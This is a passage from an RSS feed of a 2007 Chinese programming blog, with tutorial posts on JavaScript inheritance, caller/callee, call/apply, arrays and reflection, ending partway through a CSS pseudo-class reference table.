            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle><a href="http://blog.never-online.net/article.asp?id=62" target=_blank><u><font color=#0000ff>可参见我这篇文章</font><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong><font color=#0000ff>示例教程和代码</font></u></a></td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>持客户端存储数据-userData</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>不支持</td>
        </tr>
    </tbody>
</table>
</p>
<img src ="http://www.blogjava.net/sunbaby/aggbug/119500.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-23 22:37 <a href="http://www.blogjava.net/sunbaby/articles/119500.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>javascript类的继承</title><link>http://www.blogjava.net/sunbaby/articles/118344.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Fri, 18 May 2007 06:15:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/118344.html</guid><description><![CDATA[<p style="FONT-FAMILY: Tahoma">&lt;script&gt;<br>//类的继承-海浪版<br>Function.prototype.extend = function (parentClass)<br>{<br>&nbsp; var Bs = new Function();<br>&nbsp; Bs.prototype = parentClass.prototype;<br>&nbsp; this.prototype = new Bs();<br>&nbsp; this.prototype.Super = parentClass;<br>&nbsp; this.prototype.constructor = this;<br>}<br>//==============================================</p>
<p style="FONT-FAMILY: Tahoma"><br>function ClassA()<br>{<br>&nbsp;&nbsp;&nbsp; this.a=[9,8,7];<br>}<br>ClassB.extend(ClassA);//ClassB继承ClassA<br>function ClassB()<br>{<br>&nbsp;&nbsp;&nbsp; this.Super();//显示调用父类的构造函数<br>&nbsp;&nbsp;&nbsp; this.b=function(){alert();};<br>}</p>
<p style="FONT-FAMILY: Tahoma">var objB1=new ClassB();<br>var objB2=new ClassB();<br>objB1.a.push(1,2,3);<br>alert(objB1.a);<br>alert(objB2.a);<br>&lt;/script&gt;</p>
<img src ="http://www.blogjava.net/sunbaby/aggbug/118344.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-18 14:15 <a href="http://www.blogjava.net/sunbaby/articles/118344.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Javascript - 全面理解 caller，callee，call，apply </title><link>http://www.blogjava.net/sunbaby/articles/118211.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Thu, 17 May 2007 19:26:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/118211.html</guid><description><![CDATA[<div align=center>
<div class=block>
<h3>1、caller </h3>
<h5>JScript参考中说明为：返回一个对函数的引用，该函数调用了当前函数。如何理解这句话, 先来举个简单的例子：
<h5>
<pre class=code>// caller demo {function callerDemo() {	if (callerDemo.caller) {		var a= callerDemo.caller.toString();		alert(a);	} else {		alert("this is a top function");	}}function handleCaller() {	callerDemo();}  </pre>
<input onclick=callerDemo() type=button value=callerDemo> <input onclick=handleCaller() type=button value=handleCaller>
<h5>上面的例子，可以看出，它就是返回一个调用数据的引用。(指向请求调用的函数) 也由此可以看出，当在这样的情况下，onclick触发事件的时候总是带着匿名函数的 </h5>
</h5>
<pre class=code>function calleeDemo() {	alert(arguments.callee);}function calleeLengthDemo(arg1, arg2) {	if (arguments.length==arguments.callee.length) {		window.alert("验证形参和实参长度正确！");		return;	} else {		alert("实参长度：" +arguments.length);		alert("形参长度： " +arguments.callee.length);	}}		</pre>
<input onclick=calleeDemo() type=button value=handleCallee> <input onclick=calleeLengthDemo() type=button value=handleCalleeLength>
<h5>从上面的例子可以看出，callee可以用来打在执行函数，也就是指向被调用的函数。上面的例子就说明calee可以打印其本身，当然还有其它的一些用途。而length属性中arguments.length是实参长度，arguments.callee.length是形参长度，由此可以判断调用时形参长度是否和实参长度一致。</h5>
</h5>
</div>
</div>
<div align=center>
<div class=block>
<h3>2、callee </h3>
<h5>JScript参考中的说明为：返回正被执行的 Function 对象，也就是所指定的 Function 对象的正文。</h5>
需要注意的是callee拥有length属性，这个在有的时候用于验证还是比较好的。</div>
<div align=center>
<div class=block>
<h3>3、call 和 apply</h3>
<h5>call方法JScript参考中的说明：调用一个对象的一个方法，以另一个对象替换当前对象。call([thisObj[,arg1[, arg2[, [,.argN]]]]])，但是没有示例 </h5>
<h5>apply方法JScript参考中的说明：应用某一对象的一个方法，用另一个对象替换当前对象。apply([thisObj[,argArray]]) </h5>
<h5>实际上这两个的作用几乎是相同的，要注意的地方是call(thisObj[,arg1[, arg2[,)中的arg参数可以是变量，而apply([thisObj[,argArray]])中的参数为数组集合。下面来看看call, apply的具体应用 </h5>
<pre class=code>// simple call demofunction simpleCallDemo(arg) {	window.alert(arg);}function handleSPC(arg) {	simpleCallDemo.call(this, arg);}// simple apply demofunction simpleApplyDemo(arg) {	window.alert(arg);}function handleSPA(arg) {	simpleApplyDemo.apply(this, arguments);}	</pre>
<input onclick="handleSPC('never-online')" type=button value="handle simple call"> <input onclick="handleSPA('BlueDestiny')" type=button value="handle simple apply">
<h5>从上面简单的例子可以看出，call和apply可以把当前的参数传递给另外一个函数的参数中，从而调用另一个函数的应用。有的时候这是一个很实用的方法，当然，用call或是apply（是参数或是数组），看实际情况而定了。 </h5>
<h4>下面来看另一个应用 </h4>
<h5>call和apply还有一个技巧在里面，就是用call和apply应用另一个函数（类）以后，当前的函数（类）就具备了另一个函数（类）的方法或者是属性，这也可以称之为&#8220;继承&#8221;。看下面示例。 </h5>
<pre class=code>// inheritfunction base() {	this.member = "never-online";	this.method = function() {		window.alert(this.member);	}}function extend() {	base.call(this);	window.alert(member);	window.alert(this.method);}	</pre>
<input onclick=extend() type=button value=inherited>
<h5>上面的例子可以看出，通过call之后，extend可以继承到base的方法和属性。 </h5>
<h4>再看一个apply的应用 </h4>
<pre class=code>// advanced apply demofunction adApplyDemo(x) {	return ("this is never-online, BlueDestiny '" + x + "' demo");}function handleAdApplyDemo(obj, fname, before) {  var oldFunc = obj[fname];  obj[fname] = function() {    return oldFunc.apply(this, before(arguments));  };}function hellowordFunc(args) {  args[0] = "hello " + args[0];  return args;}function applyBefore() {	alert(adApplyDemo("world"));}function applyAfter() {	handleAdApplyDemo(this, "adApplyDemo", hellowordFunc);	alert(adApplyDemo("world")); // Hello world!}	</pre>
<h5>需要注意的是，要先点"原始的adApplyDemo('world')"按钮，如果先点"应用后的adApplyDemo('world')"按扭，会先应用了apply方法，这样原始的值将会被改变。或许有的朋友没有发现有什么特别的，我在这里指明一下，当点击左边的按扭时，只有"this is never-online, BlueDestiny 'world' demo"， 当点击右边的按扭后，会现结果是"this is never-online, BlueDestiny 'hello world' demo"，再点点左边的按扭，看看结果又会是什么呢？自己试试看:D，已经改写了函数adApplyDemo。这个例子则说明了call和apply的&#8220;真正&#8221;作用了。 </h5>
<input onclick=applyBefore() type=button value="原始的adApplyDemo('world')"> <input onclick=applyAfter() type=button value="应用后的adApplyDemo('world')"></div>
</div>
</div>
<img src ="http://www.blogjava.net/sunbaby/aggbug/118211.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-18 03:26 <a href="http://www.blogjava.net/sunbaby/articles/118211.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>javascript apply()方法</title><link>http://www.blogjava.net/sunbaby/articles/118210.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Thu, 17 May 2007 19:24:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/118210.html</guid><description><![CDATA[<span style="FONT-FAMILY: Tahoma"><a href="http://hi.baidu.com/zys0202/blog/item/fec7945294de330e0df3e349.html">http://hi.baidu.com/zys0202/blog/item/fec7945294de330e0df3e349.html</a><br><br>javascript apply()方法通过一个例子说明apply()的用法：//针对各种浏览器建立一个http request的对象function getHttpRequest(){&nbsp; http_request = null;&nbsp; if (window.XMLHttpRequest) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; http_request = new XMLHttpRequest();&nbsp; } else if (window.ActiveXObject) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; http_request = new ActiveXObject("Microsoft.XMLHTTP");&nbsp; }&nbsp; return http_request;}var ajax_request;functiong getPerson(){&nbsp; ajax_request = getHttpRequest();&nbsp;&nbsp;&nbsp; //建立一个http request&nbsp; ajax_request.onstatechange = handleResponse;&nbsp; //指定回调函数&nbsp; ajax_request.open("GET", "</span><a href="http://myhost.com/sample.xml"><span style="FONT-FAMILY: Tahoma">http://myhost.com/sample.xml</span></a><span style="FONT-FAMILY: Tahoma">", null);&nbsp; ajax_request.send();} function handleResponse(){&nbsp; if(ajax_request.readyState != 4) return;&nbsp; if(ajax_request.status == 200){&nbsp;&nbsp;&nbsp; var xml = ajax_request.responseXML;&nbsp;&nbsp;&nbsp; /* 对获得的xml的处理 */&nbsp; }} 调用的时候可以直接在页面里调用getPerson(); 这个函数会建立一个httpRequest对象，然后发送请求，在请求返回的时候会自动调用handleResponse函数来完成操作。在简单的环境上，上述代码会工作得很好，但是如果在一个页面中要执行多次这种操作就比较麻烦了，需要写多个函数，看一下上面的定义：var ajax_request; 表示这是个全局变量，多次请求的时候每个请求都要用到这个对象，ajax又是异步的，无法事先确定哪个请求先返回。 如果把ajax_request作为函数内的局部变量呢？那样如果在handleResponse里能看到ajax_request对象就可以解决这个问题了。可以考虑把ajax_request作为一个参数传递给handleResponse，现在的问题是，对handleResponse的调用是自动的，怎么能在参数列表中添加这个参数呢？我们想到了this变量，在javascript中，所有的东西都是对象，this表示当前对象，在函数中this就表示当前的函数。javascript提供了一种可以改变this的方法——apply()。javascript对apply的解释是：使用指定对象替换当前对象并调用函数。比如： function test_apply(){&nbsp; alert(this);}test_apply.apply(document, []); 就表示调用函数test_apply，并用document对象来替换test_apply中的this。 回到刚刚的问题，为了修改当前对象，需要在指定handleResponse的时候就修改this对象。ajax_request.onstatechange是一个函数的句柄，只要我把一个函数的句柄赋值给它就可以了，同时函数也是一种对象，Function对象，因此我们为函数对象添加一个方法：Function.prototype.setThis(){&nbsp; var curr_function = this;&nbsp; var to_this_object = arguments[0];&nbsp; return function(){&nbsp;&nbsp;&nbsp; currFunc.apply(to_this_object, []);&nbsp; };} 下面，修改getPerson为：functiong getPerson(){&nbsp; var tmp_request = getHttpRequest();&nbsp;&nbsp;&nbsp; //建立一个http request&nbsp; tmp_request.onstatechange = handleResponse.setThis(tmp_request);&nbsp; //指定回调函数&nbsp; tmp_request.open("GET", "</span><a href="http://myhost.com/sample.xml"><span style="FONT-FAMILY: Tahoma">http://myhost.com/sample.xml</span></a><span style="FONT-FAMILY: Tahoma">", null);&nbsp; tmp_request.send();} 修改handleResponse为：function handleResponse(){&nbsp; if(this.readyState != 4) return;&nbsp; if(this.status == 200){&nbsp;&nbsp;&nbsp; var xml = this.responseXML;&nbsp;&nbsp;&nbsp; /* 对获得的xml的处理 */&nbsp; }}即可。具体的变化就在于tmp_request.onstatechange = handleResponse.setThis(tmp_request);&nbsp; 因为handleResponse是一个函数，因此它具有Function新添加的方法setThis，下面来看setThis方法：var curr_function = this;&nbsp; //获得当前的函数本身var to_this_object = arguments[0];&nbsp; //获得要指定的新的this对象return function(){&nbsp;&nbsp;&nbsp; currFunc.apply(to_this_object, []);&nbsp; }; 这里的返回值是一个函数，即当tmp_request的onstatechange事件的时候会触发这个函数，该函数中只有一句currFunc.apply(to_this_object, []);即用to_this_object替换当前对象并调用currFunc，在这里currFunc即代表了handleResponse，因此调用handleResponse，因为已经修改了其this对象，因此在handleResponse中用this即代表了tmp_request对象。用这种方法可以减化代码，并使代码更具可重用性。源文地址：</span><a href="http://www.cublog.cn/opera/showart.php?blogid=21787&amp;id=140549"><span style="FONT-FAMILY: Tahoma">http://www.cublog.cn/opera/showart.php?blogid=21787&amp;id=140549</span></a><span style="FONT-FAMILY: Tahoma">附注：应用某一对象的一个方法，用另一个对象替换当前对象。apply([thisObj[,argArray]])参数thisObj可选项。将被用作当前对象的对象。argArray可选项。将被传递给该函数的参数数组。说明如果 argArray 不是一个有效的数组或者不是 arguments 对象，那么将导致一个 TypeError。如果没有提供 argArray 和 thisObj 任何一个参数，那么 Global 对象将被用作 thisObj， 并且无法被传递任何参数。<br>&nbsp;<br>&nbsp;<br></span>
<img src ="http://www.blogjava.net/sunbaby/aggbug/118210.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-18 03:24 <a href="http://www.blogjava.net/sunbaby/articles/118210.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>基本实现了类似java的super功能</title><link>http://www.blogjava.net/sunbaby/articles/118209.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Thu, 17 May 2007 19:10:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/118209.html</guid><description><![CDATA[<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">&lt;script&gt;<br>function A(){<br>&nbsp;&nbsp;&nbsp; this.func1=function(){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert("A");<br>&nbsp;&nbsp;&nbsp; }<br>}</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">function B(){<br>&nbsp;&nbsp;&nbsp; this.func1=function(){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; delete this.func1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.func1();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.func1=arguments.callee;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert("B");<br>&nbsp;&nbsp;&nbsp; }<br>}<br>B.prototype=new A;<br>var o=new B;<br>o.func1();<br>&lt;/script&gt;</p>
<img src ="http://www.blogjava.net/sunbaby/aggbug/118209.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-18 03:10 <a href="http://www.blogjava.net/sunbaby/articles/118209.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>javascript中的对象和数组</title><link>http://www.blogjava.net/sunbaby/articles/118000.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Thu, 17 May 2007 02:36:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/118000.html</guid><description><![CDATA[<div class=entry-body style="FONT-FAMILY: Tahoma">
<p style="FONT-FAMILY: Tahoma">javascript已经用了有三年多了，但是对一些细节的东西还是一知半解，比如对象和数组，一直都在用一些最基本的操作。这是我学习的一个坏习惯--懒，很多东西都是了解而已，看到稍微复杂点的逻辑就没有耐心。就像学asp时不知道asp跟脚本的关系，学html不知道什么是DOM...结果是学得慢且不扎实，碰到稍复杂的问题就歇菜（扯远了）。<br>今天继续优化脚本，尝试着合并一些数组时碰到问题，才算去仔细看了手册，做了一些测试。</p>
</div>
<div class=entry-more id=more style="FONT-FAMILY: Tahoma">
<p style="FONT-FAMILY: Tahoma">javascript1.2之后允许使用[]创建数组：<br>
<blockquote>var firstArray = [];<br>var secondArray = ["red", "green", "blue"];<br>var thirdArray = [,,,,];</blockquote><br>可以在数组创建后添加元素：<br>
<blockquote>secondArray[4] = 28;</blockquote><br>这样的结果是第4个元素和第2个元素之间有1个空元素。<br>结果类似这样：["red", "green", "blue",,28]<br>需要注意的是，<strong>数组必须初始化</strong>，我测试了数组作为数组元素的定义：<br>
<blockquote>var arrArray = [[]];</blockquote><br>本来设想实现二维数组，结果是使用arrArray[i][0]当i&gt;0时无效！<br>仔细看一下才明白，其实是定义了arrArray[0]为一个空数组，而其他元素都未定义，相当于<br>var arrArray=[];<br>arrArray[0]=[];<br>所以arrArray[1]没有定义，所以如果将它作为数组进行操作会出错。
<p style="FONT-FAMILY: Tahoma"></p>
<p style="FONT-FAMILY: Tahoma"><strong>删除一个数组元素：delete<br></strong><br>
<blockquote>var myColors = ["red", "green", "blue"];<br>delete myColors[1];<br>alert("The value of myColors[1] is: " + myColors[1]);</blockquote><br>delete的结果是myColors[1]=undefined，但是myColors.<strong>length不变</strong>，myColors变成这样：["red",, "blue"]
<p style="FONT-FAMILY: Tahoma"></p>
<p style="FONT-FAMILY: Tahoma">替换或绝对删除数组元素用slice():<br>
<blockquote>var myArray = [1, 2, 3, 4, 5];<br>myArray.slice(2); // returns [3, 4, 5]<br>myArray.slice(1, 3); // returns [2, 3]<br>myArray.slice(-3); // returns [3, 4, 5]<br>myArray.slice(-3, -1); // returns [3, 4]<br>myArray.slice(-4, 3); // returns [2, 3]<br>myArray.slice(3, 1); // returns []
<p style="FONT-FAMILY: Tahoma"></p>
<p style="FONT-FAMILY: Tahoma">var myArray = [1, 2, 3, 4, 5];<br>myArray.splice(3,2,''a'',''b'');<br>// returns 4,5 [1,2,3,''a'',''b'']<br>myArray.splice(1,1,"in","the","middle");<br>// returns 2 [1,"in","the","middle",3,''a'',''b'']</p>
</blockquote>
<p style="FONT-FAMILY: Tahoma"></p>
<p style="FONT-FAMILY: Tahoma">看了文档才知道，数组是传递引用的！<br>
<blockquote>var x = [10, 9, 8];<br>var y = x;<br>x[0] = 2;<br>alert("The value of y's first element is: " + y[0]);</blockquote><br>你猜结果是多少呢？<br>再看这个：<br>
<blockquote>// Declare a reference type (array)<br>var refType = ["first ", " second", " third"];
<p style="FONT-FAMILY: Tahoma"></p>
<p style="FONT-FAMILY: Tahoma">// Declare a primitive type (number)<br>var primType = 10; <br><br>// Declare a function taking two arguments, which it will modify<br>function modifyValues(ref, prim) <br>{<br>ref[0] = "changed"; // modify the first argument, an array<br>prim = prim - 8; // modify the second, a number<br>}</p>
<p style="FONT-FAMILY: Tahoma">// Invoke the function<br>modifyValues(refType, primType); <br>// Print the value of the reference type<br>document.writeln("The value of refType is: ", refType+"&lt;<br>&gt;");<br>// Print the value of the primitive type<br>document.writeln("The value of primType is: ", primType); </p>
</blockquote>
<p style="FONT-FAMILY: Tahoma"></p>
<p style="FONT-FAMILY: Tahoma">测试时发现一个问题：<br>
<blockquote>var arr=[];<br>arr['a']=1;<br>arr['b']=2;<br>alert(arr.length);</blockquote><br>弹出的数字是0！<br>看了文档后知道，这样的数组叫做联合数组（Associative Arrays），arr['a']等同于arr.a，arr.length也就等同于arr['length']，而arr.length在我们初始化arr（var arr=[];）的时候自动赋值为0。<br>有人把这种联合数组叫做javascript的hash table。严格上讲，联合数组和普通数组本身都是对象（废话，javascript中的一切都是对象- -），意义和用法都是相同的。看下面的例子：<br>
<blockquote>var arr=[];<br>arr=[1,2,3];<br>arr.test='test';<br>alert(arr);<br>alert(arr[1]);<br>alert(arr['test']);</blockquote>
<p style="FONT-FAMILY: Tahoma"></p>
<blockquote>var arr={}; arr=[2,3,4]; alert(arr[0]); </blockquote>var arr={};和var arr=[]都可以写成var arr=function(){};
<p style="FONT-FAMILY: Tahoma">从上面的代码可以看出，下标数组跟联合数组分别独立，下标只作用于下标数组，不能访问联合数组，相应的，联合数组不对length属性产生影响。联合数组的标签就是属性，但是下标数组的下标并不是属性，arr[0]!=arr.0，访问arr.0会出错。</p>
<p style="FONT-FAMILY: Tahoma">在某些时候，用arr['a']代替arr.a作为方法调用会更有效，因为arr['a']中的'a'可以用变量传入，比如将方法赋给变量：<br>
<blockquote>var d=document,l=links;</blockquote><br>这时候用直接d.l就会出错，而用d[l]就可以正确执行，alert一下就知道了:)<br>
<blockquote>alert(d.l);//脚本错误<br>alert(d[l]);//显示object</blockquote>
<p style="FONT-FAMILY: Tahoma"></p>
<p style="FONT-FAMILY: Tahoma">既然数组是由lenght属性的对象，那么是不是所有具有length属性的对象都是数组呢？比如String。测试之后发现，firefox是可以把String当作数组处理的，但是ie不行：<br>
<blockquote>var myString = "Hello world";<br>alert(myString.length);<br>alert(myString[0]);</blockquote>
<p style="FONT-FAMILY: Tahoma"></p>
<p style="FONT-FAMILY: Tahoma">数组的对象应该比较独特，用户对象不能完全模拟：<br>
<blockquote><br>function myarray(size){<br>this.length=size;<br>var x=0;<br>}<br>var arr=new myarray(5);<br>arr[9]=1;<br>alert(arr);<br>alert(arr[9]);<br>alert(arr.length);</blockquote>
<p style="FONT-FAMILY: Tahoma"></p>
<p style="FONT-FAMILY: Tahoma">本以为Array的length属性就是普通的对象属性，结果经过上面的例子发现，arr的length不再是数组length，arr的结构也不是普通数组结构。</p>
<p style="FONT-FAMILY: Tahoma">定义一个函数/类的方法有好几种：<br>
<blockquote>function fName(arguments){<br>//function body<br>};
<p style="FONT-FAMILY: Tahoma"></p>
<p style="FONT-FAMILY: Tahoma">var fName = function(arguments){<br>//function body<br>}</p>
<p style="FONT-FAMILY: Tahoma">var fName = new Function("arguments","/*function body*/");</p>
</blockquote><br>第三种方法比较好玩，看下面的例子：<br>
<blockquote>var arr=new Function("var total=0; for (var i=0; i<arguments.length; i++) total+="arguments[i];" return(total);?);<blockquote>
<p style="FONT-FAMILY: Tahoma"></p>
<p style="FONT-FAMILY: Tahoma">用这个方法可以解析ajax返回的JSON，这样就不用低效的eval了（没有测试是否比eval快）：<br>假设{b:{c:2}}为返回的json字符串：<br>
<blockquote>var arr=new Function("this.a={b:{c:2}};");<br>var aa =new arr();<br>alert(aa.a.b.c);</blockquote></blockquote></div>
<img src ="http://www.blogjava.net/sunbaby/aggbug/118000.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-17 10:36 <a href="http://www.blogjava.net/sunbaby/articles/118000.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>javascript快速查阅</title><link>http://www.blogjava.net/sunbaby/articles/116113.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Wed, 09 May 2007 02:08:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/116113.html</guid><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 事件源对象 event.srcElement.tagName event.srcElement.type    捕获释放 event.srcElement.setCapture();&nbsp; event.srcElement.releaseCapture();&nbsp;     事件按键 event.keyCode event.shiftKey event.altKey event....&nbsp;&nbsp;<a href='http://www.blogjava.net/sunbaby/articles/116113.html'>阅读全文</a><img src ="http://www.blogjava.net/sunbaby/aggbug/116113.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-09 10:08 <a href="http://www.blogjava.net/sunbaby/articles/116113.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>javascript的反射应用</title><link>http://www.blogjava.net/sunbaby/articles/115417.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Sat, 05 May 2007 06:09:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/115417.html</guid><description><![CDATA[<p><font face="Courier New" size=2>在JavaScript中有一个很方便的语法来实现反射,即for(&#8230;in&#8230;)语句. 利用这个语句,可以实现简单的反射： </font></p>
<p><font face="Courier New" size=2><font color=#000080>for(var&nbsp;p&nbsp;in&nbsp;obj){ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(typeof(obj[p])=="function"){ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;obj[p]();&nbsp;&nbsp;//对象的function<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(obj[p]);&nbsp; //对象的property<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>}</font>&nbsp;</font></p>
<p><font face="Courier New" size=2></font>&nbsp;</p>
<p><font face="Courier New" size=2>如何确定某个对象是否存在某属性prop? : <font color=#000080>if(obj.prop)</font></font></p>
<p><font face="Courier New" size=2>如何确定某个对象是否存在某函数func? : <font color=#000080>if(obj.func &amp;&amp; typeof(obj.func)=="function"){}</font></font></p>
<img src ="http://www.blogjava.net/sunbaby/aggbug/115417.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-05 14:09 <a href="http://www.blogjava.net/sunbaby/articles/115417.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CSS (Pseudo-Classes Reference)伪类</title><link>http://www.blogjava.net/sunbaby/articles/115260.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Thu, 03 May 2007 18:18:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/115260.html</guid><description><![CDATA[<h2>CSS (Pseudo-Classes Reference)伪类</h2>
<input id=search-key type=hidden value="CSS  (Pseudo-Classes Reference)伪类" name=search-key>
<div class="rl entry-titlerl fenlei-Span">分类:<a href="http://chinesepeople.bokee.com/cat.10477387.html"><font color=#ffffff>网页制作</font></a></div>
<div class="entry-body nerr"><font size=2>&nbsp;<br></font>
<table class=meme cellSpacing=1 cellPadding=0 border=0>
    <tbody>
        <tr>
            <th noWrap><font size=2>Pseudo-Classes<br>伪类</font></th>
            <th noWrap><font size=2>CSS Version<br>版本</font></th>
            <th noWrap><font size=2>Compatibility<br>兼容性</font></th>
            <th noWrap><font size=2>Description<br>简介</font></th>
        </tr>
        <tr>
            <td><a href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/p_link.html"><font color=#ffffff size=2>:link</font></a></td>
            <td><font size=2>CSS1</font></td>
            <td><font size=2>IE4+ , NS4+</font></td>
            <td><font size=2>设置a对象在未被访问前的样式表属性</font></td>
        </tr>
        <tr>
            <td><a href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/p_hover.html"><font color=#ffffff size=2>:hover</font></a></td>
            <td><font size=2>CSS1/CSS2</font></td>
            <td><font size=2>IE4+ , NS4+</font></td>
            <td><font size=2>设置对象在其鼠标悬停时的样式表属性</font></td>
        </tr>
        <tr>
            <td><a href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/p_active.html"><font color=#ffffff size=2>:active</font></a></td>
            <td><font size=2>CSS1/CSS2</font></td>
            <td><font size=2>IE4+</font></td>
            <td><font size=2>设置对象在被用户激活（在鼠标点击与释放之间发生的事件）时的样式表属性</font></td>
        </tr>
        <tr>
            <td><a href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/p_visited.html"><font color=#ffffff size=2>:visited</font></a></td>
            <td><font size=2>CSS1</font></td>
            <td><font size=2>IE4+ , NS4+</font></td>
            <td><font size=2>设置a对象在其链接地址已被访问过时的样式表属性</font></td>
        </tr>
        <tr>
            <td><a class=no href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/p_focus.html"><font color=#ffffff size=2>:focus</font></a></td>
            <td><font size=2>CSS2</font></td>
            <td><span class=span2><font size=2>NONE</font></span></td>
            <td><font size=2>设置对象在成为输入焦点（该对象的onfocus事件发生）时的样式表属性</font></td>
        </tr>
        <tr>
            <td><a class=no href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/p_firstchild.html"><font color=#ffffff size=2>:first-child</font></a></td>
            <td><font size=2>CSS2</font></td>
            <td><span class=span2><font size=2>NONE</font></span></td>
            <td><font size=2>设置对象（Selector1）的第一个子对象（Selector2）的样式表属性</font></td>
        </tr>
        <tr>
            <td><a href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/p_first.html"><font color=#ffffff size=2>:first</font></a></td>
            <td><font size=2>CSS2</font></td>
            <td><font size=2>IE4+</font></td>
            <td><font size=2>设置页面容器第一页使用的样式表属性。仅用于</font><a href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/a_page.html"><font color=#ffffff size=2>@page</font></a><font size=2>规则</font></td>
        </tr>
        <tr>
            <td><a href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/p_left.html"><font color=#ffffff size=2>:left</font></a></td>
            <td><font size=2>CSS2</font></td>
            <td><font size=2>IE4+</font></td>
            <td><font size=2>设置页面容器位于装订线左边的所有页面使用的样式表属性。仅用于</font><a href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/a_page.html"><font color=#ffffff size=2>@page</font></a><font size=2>规则</font></td>
        </tr>
        <tr>
            <td><a href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/p_right.html"><font color=#ffffff size=2>:right</font></a></td>
            <td><font size=2>CSS2</font></td>
            <td><font size=2>IE4+</font></td>
